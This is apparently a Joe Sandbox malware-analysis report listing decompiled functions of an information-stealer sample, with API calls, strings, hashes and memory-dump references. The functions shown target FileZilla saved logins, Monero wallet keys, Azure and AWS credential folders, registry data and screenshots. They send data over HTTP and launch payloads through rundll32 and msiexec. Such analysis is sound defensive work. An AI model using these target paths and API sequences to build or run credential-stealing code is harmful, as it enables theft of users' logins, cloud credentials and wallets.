lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DA0DB2), ref: 00D9068E

Strings

<Pass encoding="base64">, xrefs: 00D9045A
password: , xrefs: 00D905FB
browser: FileZilla, xrefs: 00D90559
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00D902A4
login: , xrefs: 00D905CA
<User>, xrefs: 00D90410
<Port>, xrefs: 00D903C6
profile: null, xrefs: 00D90568
<Host>, xrefs: 00D9037C
url: , xrefs: 00D90577

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 15eec723b0697d22f4ffe38e354bda1124902eab1c4d14ba4ce76e5690e32f6e
Instruction ID: 1d9b7c555ec654151aeae875d8e4d6c6a968a6d8fd159105992a9f2732c9f6fc
Opcode Fuzzy Hash: 15eec723b0697d22f4ffe38e354bda1124902eab1c4d14ba4ce76e5690e32f6e
Instruction Fuzzy Hash: B8D10B76910208ABCF04EBE8DD96EEE7778FF15700F444518F102A7091DE74AA0ADBB2

Function 00D85960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Part of subcall function 00D847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D84839
Part of subcall function 00D847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D84849

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D859F8
StrCmpCA.SHLWAPI(?,0182EB68), ref: 00D85A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D85B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0182EA98,00000000,?,0182A7E0,00000000,?,00DA1A1C), ref: 00D85E71
lstrlen.KERNEL32(00000000), ref: 00D85E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00D85E93
RtlAllocateHeap.NTDLL(00000000), ref: 00D85E9A
lstrlen.KERNEL32(00000000), ref: 00D85EAF
lstrlen.KERNEL32(00000000), ref: 00D85ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D85EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00D85F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D85F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00D85F4C
InternetCloseHandle.WININET(00000000), ref: 00D85FB0
InternetCloseHandle.WININET(00000000), ref: 00D85FBD
HttpOpenRequestA.WININET(00000000,0182EB78,?,0182E1B0,00000000,00000000,00400100,00000000), ref: 00D85BF8

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

InternetCloseHandle.WININET(00000000), ref: 00D85FC7

Strings

------, xrefs: 00D85C0B
------, xrefs: 00D85A96
------, xrefs: 00D85D4C
", xrefs: 00D85CD5
", xrefs: 00D85E16

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: b3f232ad08535cd1838662858359b40f4a30dade073f316f78f8a1d32a94833b
Instruction ID: e9111395e261f7fcdd071462ba11c11b20694841119cc4c57a6e2b13a6fc6310
Opcode Fuzzy Hash: b3f232ad08535cd1838662858359b40f4a30dade073f316f78f8a1d32a94833b
Instruction Fuzzy Hash: B312AD72920128ABDF15EBA4DD96FEEB378FF14700F504199B10A62091EF706A49CFB5

Function 00D8CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D98B60: GetSystemTime.KERNEL32(00DA0E1A,0182A480,00DA05AE,?,?,00D813F9,?,0000001A,00DA0E1A,00000000,?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D98B86

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D8CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D8D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00D8D0CE
lstrcat.KERNEL32(?,00000000), ref: 00D8D208
lstrcat.KERNEL32(?,00DA1478), ref: 00D8D217
lstrcat.KERNEL32(?,00000000), ref: 00D8D22A
lstrcat.KERNEL32(?,00DA147C), ref: 00D8D239
lstrcat.KERNEL32(?,00000000), ref: 00D8D24C
lstrcat.KERNEL32(?,00DA1480), ref: 00D8D25B
lstrcat.KERNEL32(?,00000000), ref: 00D8D26E
lstrcat.KERNEL32(?,00DA1484), ref: 00D8D27D
lstrcat.KERNEL32(?,00000000), ref: 00D8D290
lstrcat.KERNEL32(?,00DA1488), ref: 00D8D29F
lstrcat.KERNEL32(?,00000000), ref: 00D8D2B2
lstrcat.KERNEL32(?,00DA148C), ref: 00D8D2C1
lstrcat.KERNEL32(?,00000000), ref: 00D8D2D4
lstrcat.KERNEL32(?,00DA1490), ref: 00D8D2E3

Part of subcall function 00D9A820: lstrlen.KERNEL32(00D84F05,?,?,00D84F05,00DA0DDE), ref: 00D9A82B
Part of subcall function 00D9A820: lstrcpy.KERNEL32(00DA0DDE,00000000), ref: 00D9A885

lstrlen.KERNEL32(?), ref: 00D8D32A
lstrlen.KERNEL32(?), ref: 00D8D339

Part of subcall function 00D9AA70: StrCmpCA.SHLWAPI(01828F98,00D8A7A7,?,00D8A7A7,01828F98), ref: 00D9AA8F

DeleteFileA.KERNEL32(00000000), ref: 00D8D3B4

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 6801593242737500f8a93fc1a603fe38b8a2469411dd32ba72bf2308c665e6d7
Instruction ID: 097c5306ed664a093304f7885c60a566881c395115264b616f28b4437aa64b3a
Opcode Fuzzy Hash: 6801593242737500f8a93fc1a603fe38b8a2469411dd32ba72bf2308c665e6d7
Instruction Fuzzy Hash: 13E1F972910118ABCF04EBA8DE96EEE7379FF14305F104158F106A7091DE35BA09DBB6

Function 00D8C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0182CE10,00000000,?,00DA144C,00000000,?,?), ref: 00D8CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00D8CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00D8CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D8CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00D8CAD9
StrStrA.SHLWAPI(?,0182CFC0,00DA0B52), ref: 00D8CAF7
StrStrA.SHLWAPI(00000000,0182CE28), ref: 00D8CB1E
StrStrA.SHLWAPI(?,0182D8C0,00000000,?,00DA1458,00000000,?,00000000,00000000,?,01829088,00000000,?,00DA1454,00000000,?), ref: 00D8CCA2
StrStrA.SHLWAPI(00000000,0182D9E0), ref: 00D8CCB9

Part of subcall function 00D8C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00D8C871
Part of subcall function 00D8C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00D8C87C

StrStrA.SHLWAPI(?,0182D9E0,00000000,?,00DA145C,00000000,?,00000000,01829048), ref: 00D8CD5A
StrStrA.SHLWAPI(00000000,01829138), ref: 00D8CD71

Part of subcall function 00D8C820: lstrcat.KERNEL32(?,00DA0B46), ref: 00D8C943
Part of subcall function 00D8C820: lstrcat.KERNEL32(?,00DA0B47), ref: 00D8C957
Part of subcall function 00D8C820: lstrcat.KERNEL32(?,00DA0B4E), ref: 00D8C978

lstrlen.KERNEL32(00000000), ref: 00D8CE44
CloseHandle.KERNEL32(00000000), ref: 00D8CE9C

Strings

, xrefs: 00D8C9C6

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 9bf20a94f85d19f025ac2c08e29a0304cf835d5c6cd6e5bcb54fd8cf4957c86e
Instruction ID: 416d7bd0d8a7c8a333e98a17b7dd5d6bb39f601ef2aac690453a8a517e28becb
Opcode Fuzzy Hash: 9bf20a94f85d19f025ac2c08e29a0304cf835d5c6cd6e5bcb54fd8cf4957c86e
Instruction Fuzzy Hash: A4E1C572910118ABDF15EBA8DD96FEEB778EF14304F404159F106A7191EE306A4ACBB2

Function 00D98320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

RegOpenKeyExA.ADVAPI32(00000000,0182B048,00000000,00020019,00000000,00DA05B6), ref: 00D983A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D98426
wsprintfA.USER32 ref: 00D98459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00D9847B
RegCloseKey.ADVAPI32(00000000), ref: 00D9848C
RegCloseKey.ADVAPI32(00000000), ref: 00D98499

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Strings

?, xrefs: 00D9837A
- , xrefs: 00D985A3
%s\%s, xrefs: 00D9844D

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: a0cd37d91b5dfef83d9661ddee4ed8418ae9afd91a98dadf05a298b7d2f28391
Instruction ID: 26584d4413597daf4b422ab509d65438b99d2cae5eb992151d06b875013577cc
Opcode Fuzzy Hash: a0cd37d91b5dfef83d9661ddee4ed8418ae9afd91a98dadf05a298b7d2f28391
Instruction Fuzzy Hash: 9F81EA7291012CABDB24DB54CD95FEAB7B8FF08704F008699E109A6180DF756A85DFF1

Function 00D94D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D98DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D98E0B

lstrcat.KERNEL32(?,00000000), ref: 00D94DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00D94DCD

Part of subcall function 00D94910: wsprintfA.USER32 ref: 00D9492C
Part of subcall function 00D94910: FindFirstFileA.KERNEL32(?,?), ref: 00D94943

lstrcat.KERNEL32(?,00000000), ref: 00D94E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00D94E59

Part of subcall function 00D94910: StrCmpCA.SHLWAPI(?,00DA0FDC), ref: 00D94971
Part of subcall function 00D94910: StrCmpCA.SHLWAPI(?,00DA0FE0), ref: 00D94987
Part of subcall function 00D94910: FindNextFileA.KERNEL32(000000FF,?), ref: 00D94B7D
Part of subcall function 00D94910: FindClose.KERNEL32(000000FF), ref: 00D94B92

lstrcat.KERNEL32(?,00000000), ref: 00D94EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00D94EE5

Part of subcall function 00D94910: wsprintfA.USER32 ref: 00D949B0
Part of subcall function 00D94910: StrCmpCA.SHLWAPI(?,00DA08D2), ref: 00D949C5
Part of subcall function 00D94910: wsprintfA.USER32 ref: 00D949E2
Part of subcall function 00D94910: PathMatchSpecA.SHLWAPI(?,?), ref: 00D94A1E
Part of subcall function 00D94910: lstrcat.KERNEL32(?,0182EAB8), ref: 00D94A4A
Part of subcall function 00D94910: lstrcat.KERNEL32(?,00DA0FF8), ref: 00D94A5C
Part of subcall function 00D94910: lstrcat.KERNEL32(?,?), ref: 00D94A70
Part of subcall function 00D94910: lstrcat.KERNEL32(?,00DA0FFC), ref: 00D94A82
Part of subcall function 00D94910: lstrcat.KERNEL32(?,?), ref: 00D94A96
Part of subcall function 00D94910: CopyFileA.KERNEL32(?,?,00000001), ref: 00D94AAC
Part of subcall function 00D94910: DeleteFileA.KERNEL32(?), ref: 00D94B31

Strings

\.aws\, xrefs: 00D94E4D
\.IdentityService\, xrefs: 00D94ED9
*.*, xrefs: 00D94DD8
\.azure\, xrefs: 00D94DC1
Azure\.IdentityService, xrefs: 00D94EEB
Azure\.aws, xrefs: 00D94E5F
*.*, xrefs: 00D94E64
msal.cache, xrefs: 00D94EF0
Azure\.azure, xrefs: 00D94DD3

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: ee1832e5b8a9c8d117f9cb1fc123244812e31f242010d35a79f5abf9c2602c65
Instruction ID: 7923ac68d34ef1b1ee998452b461c374ae07e00d91d63f7f697310f06cde0201
Opcode Fuzzy Hash: ee1832e5b8a9c8d117f9cb1fc123244812e31f242010d35a79f5abf9c2602c65
Instruction Fuzzy Hash: 394173BE9502186BDB10F760EC47FED7638AB65704F004494B645A60C2EEB46BCD8BB2

Function 00D99010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00D9906C

Strings

image/jpeg, xrefs: 00D99136

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 7f39fe26547323a55374b2d07773c980cac8cdf0a915db56ba7c2ce9ead539ac
Instruction ID: 48079d00dc7f329720b3e75ae2df9654db29b2d3413a329a956e8bfd38f0e37e
Opcode Fuzzy Hash: 7f39fe26547323a55374b2d07773c980cac8cdf0a915db56ba7c2ce9ead539ac
Instruction Fuzzy Hash: 8E71B6B5A1020CABDB04EBE4DD99FEEB7B9FF48704F108508F615A7290DB34A905DB61

Function 00D92E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

ShellExecuteEx.SHELL32(0000003C), ref: 00D931C5
ShellExecuteEx.SHELL32(0000003C), ref: 00D9335D
ShellExecuteEx.SHELL32(0000003C), ref: 00D934EA

Strings

/passive, xrefs: 00D9345B
"" , xrefs: 00D9309A
C:\Windows\system32\rundll32.exe, xrefs: 00D93332
C:\Windows\system32\msiexec.exe, xrefs: 00D934BF
.msi, xrefs: 00D93398
<, xrefs: 00D93490
/i ", xrefs: 00D933E4
.dll, xrefs: 00D931E5

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
